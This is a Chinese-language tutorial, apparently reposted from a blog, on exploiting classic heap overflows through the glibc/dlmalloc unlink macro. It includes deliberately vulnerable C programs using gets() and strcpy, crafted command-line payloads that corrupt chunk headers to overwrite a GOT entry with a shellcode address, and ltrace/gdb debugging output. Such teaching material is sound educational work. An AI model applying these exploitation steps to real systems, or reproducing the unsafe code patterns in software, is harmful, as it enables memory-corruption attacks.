《黑客攻防-系统实战》--堆溢出

  参考文献

  《系统攻防技术-系统实战》

  https://bbs.pediy.com/thread-217613.htm

  https://www.cnblogs.com/gm-201705/p/9901548.html

  一.  堆是什么?

  程序运行过程中,需要更多的内存时,如果使用brk() 和 mmap() 进行处理,效率不高而且比较复杂,因此当程序需要分配或释放内存的时候,libc 为程序员提供malloc(), remalloc() 和 free().

  在接到请求时(例如用户请求1024个字节), malloc() 把 brk() 分配的大小内存块分成小块,并将合适的块分给用户,free() 的是时候,会判断新释放的块是否和其他块可以合并,这个处理过程减少碎片,从而防止程序频繁使用brk()

通过malloc()分配的堆内存,如何布局?

上图就是malloc()分配两块内存的情形。

其中mem指针指向的是malloc()返回的地址,pre_size与size都是4字节数据,size存放当前chunk(内存块,本文均不翻译)大小,pre_size存放上一个chunk大小。

因为malloc实现分配的内存空间是8字节对齐的,所以size的低3位其实没用,就取其中一位,用来标志前一个chunk是否被释放即PREV_INUSE位。当前一chunk释放,PREV_INUSE位置0,否则置1。

当malloc()分配的空间使用完毕后,将其mem指针传给free()进行释放。

free()对堆内存布局会产生什么影响?

上图的情形是,当前chunk的上一chunk被free()释放,容易发现,当前chunk的PREV_ISUSE标志位置0,表示前一chunk已经被释放。

被释放的chunk中,原先data的位置的低地址处被填入两个指针,分别是fd和bk,它们是forward和backward单词的缩写,分别
表示前一个free chunk和后一个free
chunk的地址。这样所有通过free()释放的内存chunk会组成一个双向链表。也因此一个chunk最小长度为16字节:2个size和2个指
针。

当一个chunk被释放时,还有一件事情要做,就是检查相邻chunk的是否处于释放状态,如果相邻chunk空闲的话,就会进行chunk合并操作。由于每个chunk中都存放了size信息,所以很容易就找到当前chunk前后chunk的状态。

free()里面会调用一个unlink宏来执行合并操作:


1

2

3

4

5

6

#define unlink(P, BK, FD) {                      \

      FD = P->fd;                                    \

      BK = P->bk;                                    \

      FD->bk = BK;                                   \

      BK->fd = FD;                                   \

}

好了,这个宏就是堆溢出利用的关键。仔细阅读这个宏其实就是在一个双向链表中删除一个结点的操作:


1

2

P->fd->bk = P->bk

P->bk->fd = P->fd

其中P代表当前被删除结点。

堆溢出如何利用?

首先构造一段堆溢出漏洞代码:


1

2

3

4

5

6

7

8

9

int main(void)

{

    char *buff1, *buff2;

    buff1 = malloc(40);

    buff2 = malloc(40);

    gets(buff1);

    free(buff1);

    exit(0);

}

给出堆空间布局:

low address
+---------------------+   <--first chunk ptr
|     prev_size       |
+---------------------+
|     size=48         |          
+---------------------+   <--first                  
|                     |
|     allocated       |         
|      chunk          |      
+---------------------+   <--second chunk ptr                
|    prev_size        |         
+---------------------+                     
|    size=48          |         
+---------------------+   <--second                  
|     Allocated       |         
|       chunk         |     
+---------------------+      
high address

现在使用gets函数进行堆溢出,将第2块chunk的prev_size覆盖为任意值,size覆盖为-4即0xfffffffc,fd位置覆盖为[email protected],bk位置覆盖为shellcode地址。

覆盖后的堆空间布局情况:

low address
+---------------------+   <--first chunk ptr
|     prev_size       |
+---------------------+
|     size=48         |          
+---------------------+   <--first                  
|                     |
|     allocated       |         
|      chunk          |      
+---------------------+   <--second chunk ptr                
|    XXXXXXXXX        |         
+---------------------+                     
|   size=0xfffffffc   |         
+---------------------+   <--second   
|     [email protected]     |  
|    shellcode地址    |               
|     Allocated       |         
|       chunk         |     
+---------------------+      
high address

下面看free(buff1)时发生的操作:

1.first空间即buff1被释放掉

2.检查上一chunk是否需要合并(这里否)

3.检查下一chunk是否需要合并,检查的方法是检查下下个chunk的PREV_ISUSE标志位。即当前chunk加上当前size得到下个 chunk,下个chunk加上下个size得到下下个chunk,因为我们设置下个chunk大小为-4,则下个chunk的pre_size位置被认 为是下下个chunk的开始,下个size位置是0xfffffffc标志未置位,被认为是free的需合并。

那么,这里合并用到unlink宏时出问题了,同样对照上面图来看:


1

2

3

4

5

6

7

8

second->fd->bk=second->bk

    /* 1.second->bk是shellcode址

       2.shellcode的地址被写进了second->fd+12的位置

       3.second->fd是[email protected]的地址-12

       4.所以second->fd+12的位置就是[email protected] + 12 = [email protected]即got中存的exit地址

       因此exit()函数地址已经被shellcode地址替换

    */

second->bk->fd=second->fd

“shellcode的地址被写进了second->fd+12的位置” 这句话要好好理解,为什么second->fd->bk是second->fd+12呢? 其实second->fd指向前一chunk头部,加12是跳过pre_size,size和fd即到达bk位置。

  二. 基本的堆溢出

  

#include <stdio.h>
int main(int argc, char *argv[])
{
    char *buf;
    char *buf2;
    buf = (char *)malloc(1024);
    buf2 = (char *)malloc(1024);
    printf("buf=%p, buf2=%p/n", buf, buf2);

    strcpy(buf, argv[1]);
    free(buf2);
}

该程序分配有两个缓冲区,它们在内存中是相邻的,当第一个缓冲区溢出时会改写第二个缓冲区中的元数据。编译用ltrace跟踪运行:

[email protected]:~/project/shellcode$ ltrace ./basicheap `perl -e ‘print "A" x 5000‘`
__libc_start_main(0x8048444, 2, 0xbfb19a24, 0x80484d0, 0x80484c0 <unfinished ...>
malloc(1024)                                                        = 0x804a008
malloc(1024)                                                        = 0x804a410
printf("buf=%p, buf2=%p/n", 0x804a008, 0x804a410buf=0x804a008, buf2=0x804a410
)                   = 30
strcpy(0x804a008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)            = 0x804a008
free(0x804a410 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

发生了segmentation fault。两个缓冲区的首地址分别是0x804a008和0x804a410,它们之间的距离是 0x804a410-0x804a008=1032=1024+8,它等于缓冲区的长度1024字节加上存贮块信息头的8个字节。进行strcpy了 5000个字节的数据到buf中时,发生了堆溢出,从而改写了buf2的头部块信息,这时进行free(buf2)操作就会导致段故障。

对于strace、ltrace等工具的使用,见:http://www.ibm.com/developerworks/cn/linux/l-tsl/

我们怎样欺骗malloc,使它处理改写后的内存块是问题的关键。首先,我们要清除被改写的块头部的previous-in-use位,然后把“前一块”的长度设为负数,这样将运行我们在缓冲区中定义我们自己的块。

malloc实现,包括Linux中dlmalloc,都把额外信息保存到空闲块里。空闲块的前4个字节是前向指针,接下来的4个字节是一个后向指针,这两种指针把空闲块挂在双向链表上。在对双向链表的插入和删除操作中,我们可以利用这些指针改写任意内存地址中的数据。

./basicheap `python -c ‘print "A" * 1024 + "/xff/xff/xff/xff" + "/xf0/xff/xff/xff"‘`

该命令运行后,堆缓冲区buf溢出,改写了buf2头部的8个字节为0xfffffff0和0xffffffff。

找出缓冲区的长度,在以上的例子中我们通常可以在内存中看到缓冲区(以A开始的)的起始位置,这个word之前的数据就是缓冲区的长度。(gdb) x/xw buf-4显示长度是1033,它等于buf的长度1024加上存储块信息的8个字节,而最后1位指示这个块之前是否还有其他块。如果它被置位(像这个例 子),表明这块头部没有保存前一个块的大小;如果它被置0,则表示这个块之前还有一个块,而且buf-8中的数据就是前一个块的大小。倒数第二位是一个标 记,表示这个块是否由nmap分配的。

[email protected]:~/project/shellcode$ gdb ./basicheap
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/i686/cmov/libthread_db.so.1".

(gdb) r `python -c ‘print "A"*(1024)+"/xfc/xff/xff/xff"+"/xf0/xff/xff/xff"+"AAAAABCDEFGH" ‘`
Starting program: /home/sep/project/shellcode/basicheap `python -c ‘print "A"*(1024)+"/xfc/xff/xff/xff"+"/xf0/xff/xff/xff"+"AAAAABCDEFGH" ‘`
Failed to read a valid object file image from memory.
buf=0x804a008, buf2=0x804a410 ;输出两个缓冲区的首地址
*** glibc detected *** /home/sep/project/shellcode/basicheap: free(): invalid pointer: 0x0804a410 ***
======= Backtrace: =========
/lib/i686/cmov/libc.so.6[0xb7ecc764]
/lib/i686/cmov/libc.so.6(cfree+0x96)[0xb7ece966]
/home/sep/project/shellcode/basicheap[0x80484b2]
/lib/i686/cmov/libc.so.6(__libc_start_main+0xe5)[0xb7e74455]
/home/sep/project/shellcode/basicheap[0x80483b1]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 30559 /home/sep/project/shellcode/basicheap
08049000-0804a000 rw-p 00000000 08:01 30559 /home/sep/project/shellcode/basicheap
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7d00000-b7d21000 rw-p b7d00000 00:00 0
b7d21000-b7e00000 ---p b7d21000 00:00 0
b7e48000-b7e54000 r-xp 00000000 08:01 1318 /lib/libgcc_s.so.1
b7e54000-b7e55000 rw-p 0000b000 08:01 1318 /lib/libgcc_s.so.1
b7e5d000-b7e5e000 rw-p b7e5d000 00:00 0
b7e5e000-b7fb3000 r-xp 00000000 08:01 11668 /lib/i686/cmov/libc-2.7.so
b7fb3000-b7fb4000 r--p 00155000 08:01 11668 /lib/i686/cmov/libc-2.7.so
b7fb4000-b7fb6000 rw-p 00156000 08:01 11668 /lib/i686/cmov/libc-2.7.so
b7fb6000-b7fb9000 rw-p b7fb6000 00:00 0
b7fc0000-b7fc3000 rw-p b7fc0000 00:00 0
b7fc3000-b7fc4000 r-xp b7fc3000 00:00 0 [vdso]
b7fc4000-b7fde000 r-xp 00000000 08:01 11658 /lib/ld-2.7.so
b7fde000-b7fe0000 rw-p 0001a000 08:01 11658 /lib/ld-2.7.so
bf879000-bf88e000 rw-p bf879000 00:00 0 [stack]

Program received signal SIGABRT, Aborted.
0xb7fc3410 in ?? ()
(gdb) x/xw 0x804a008-4 ;打印buf-4处的内容
0x804a004: 0x00000409  ;buf的大小
(gdb) x/xw 0x804a410-8 ;打印buf2-8处的内容
0x804a408: 0xfffffffc  ;原来应该为前一个块的大小,现被改写为0xfffffffc
(gdb) x/xw 0x804a410-4 ;打印buf2-4处的内容
0x804a40c: 0xfffffff0  ;原来应该为buf2的大小,现被改写为0xfffffff0
(gdb) x/xw 0x804a410   ;缓冲区buf2被填充了字符串“AAAAABCDEFGH”
0x804a410: 0x41414141
(gdb) x/xw 0x804a410+4
0x804a414: 0x44434241
(gdb)

原文地址:https://www.cnblogs.com/mysky007/p/11186511.html

时间: 2024-08-15 01:53:56

《黑客攻防-系统实战》--堆溢出的相关文章

《黑客攻防技术-系统实战》第二章--栈溢出2

参考文献: <黑客攻防技术宝典-系统实战> <汇编语言> 上一节我们已经对栈有个一个清楚的认识,这节从以下几个点来讲解栈溢出: 1)栈缓冲溢出 2)控制EIP 3)利用漏洞获取特权 4)战胜不可执行栈 一. 栈缓冲溢出 这一节我们看下过多数据放进缓冲区之后,缓冲区将发生什么变化,在了解这些变化之后,我们就可以利用缓冲区溢出做一些骚操作了 先来看一个栗子: #include <stdio.h> #include <stdlib.h> void return_i

《黑客攻防技术-系统实战》第二章--栈溢出4

参考文献: https://en.wikipedia.org/wiki/Buffer_overflow_protectionhttps://www.zhihu.com/question/20871464/answer/18743160http://www.ibm.com/developerworks/cn/linux/l-cn-gccstack/ <黑客攻防技术宝典-系统实战> ..........................................................

新书预告《黑客攻防实战加密与解密》

很长一段时间,没有怎么研究技术,后面慢慢发现,自己就是弄技术的料,于是重新开始技术的研究,学习和总结,慢慢的就有了新的一套书,目前已经完成黑客攻防实战加密与解密,正在写的黑客攻防实战提权技术研究已经完成稿件的90%,预计明年年初应该可以上市. 现在的社会,房价高企,社会问题突出,很多很多现实问题,在我们改变不了现实的情况下,多做研究,多做储备,也许有一天还能宝刀未老!也能持剑杀敌!最近退了很多技术群和微信群,很多还是专家级别的,他们天天发牢骚,转发负面新闻,很是无趣,决定退掉,回归简单生活,工作

实战Java虚拟机之中的一个“堆溢出处理”

从今天開始.我会发5个关于java虚拟机的小系列: 实战Java虚拟机之中的一个"堆溢出处理" 实战Java虚拟机之二"虚拟机的工作模式" 实战Java虚拟机之三"G1的新生代GC" 实战Java虚拟机之四"禁用System.gc()" 实战Java虚拟机之五"开启JIT编译" 以下说说[实战Java虚拟机之中的一个"堆溢出处理"] 在Java程序的执行过程中,假设堆空间不足.则有可能抛

实战Java虚拟机之一“堆溢出处理”

从今天开始,我会发5个关于java虚拟机的小系列: 实战Java虚拟机之一“堆溢出处理” 实战Java虚拟机之二“虚拟机的工作模式” 实战Java虚拟机之三“G1的新生代GC” 实战Java虚拟机之四“禁用System.gc()” 实战Java虚拟机之五“开启JIT编译” 下面说说[实战Java虚拟机之一“堆溢出处理”] 在Java程序的运行过程中,如果堆空间不足,则有可能抛出内存溢出错误(Out Of Memory),简称为OOM.如下文字显示了典型的堆内存溢出: Exception in t

《黑客攻防技术宝典Web实战篇》.Dafydd.Stuttard.第2版中文高清版pdf

下载地址:网盘下载 内容简介 编辑 <黑客攻防技术宝典(Web实战篇第2版)>从介绍当前Web应用程序安全概况开始,重点讨论渗透测试时使用的详细步骤和技巧,最后总结书中涵盖的主题.每章后还附有习题,便于读者巩固所学内容. <黑客攻防技术宝典(Web实战篇第2版)>适合各层次计算机安全人士和Web开发与管理领域的技术人员阅读.本书由斯图塔德.平托著. 目录 编辑 第1章 Web应用程序安全与风险 1.1 Web应用程序的发展历程 [1] 1.1.1 Web应用程序的常见功能 1.1.

以前写的两本书《安全之路:Web渗透技术及实战案例解析(第2版)》和《黑客攻防实战加密与解密》

应一些朋友的要求,我重新将书封面和购买地址发一下 说明一下: www.antian365.com原来域名转移到国外去了.现在国家对境外域名在国内访问必须实名制,进行备份啥的,情况你懂的. 最近正在制作<黑客攻防实战加密与解密>的视频课程,对黑客攻防过程遇到的密码获取和破解进行全方位的解读和分析,了解密码在攻击中的突出作用,对目前攻防用到的密码相关工具进行重新归类和整理. https://item.jd.com/11761713.html https://item.jd.com/12009331

黑客攻防技术宝典web实战篇:核心防御机制习题

猫宁!!! 参考链接:http://www.ituring.com.cn/book/885 黑客攻防技术宝典web实战篇是一本非常不错的书,它的著作人之一是burpsuite的作者,课后的习题值得关注,而随书附带有答案. 1. 为什么说应用程序处理用户访问的机制是所有机制中最薄弱的机制? 典型的应用程序使用三重机制(身份验证.会话管理和访问控制)来处理访问.这些组件之间高度相互依赖,其中任何一个组件存在缺陷都会降低整个访问控制并访问他机制的效率.例如,攻击者可以利用身份验证机制中的漏洞以任何用户

黑客攻防技术宝典web实战篇:攻击本地编译型应用程序习题

猫宁!!! 参考链接:http://www.ituring.com.cn/book/885 随书答案. 1. 如果不采用特殊的防御措施,为什么栈缓冲区溢出比堆溢出更容易被攻击者利用? 利用基于栈的溢出,通常可以立即控制栈上的已保存返回地址,并因此控制当前功能返回的指令指针.可以将指令指针指向包含 shellcode 的任意地址(通常位于触发溢出的同一缓冲区内).利用基于堆的溢出,通常可以将内存中的任意指针设置为任意值.正常情况下,利用这种修改来控制执行流还需要采取其他步骤.此外,使堆缓冲区溢出后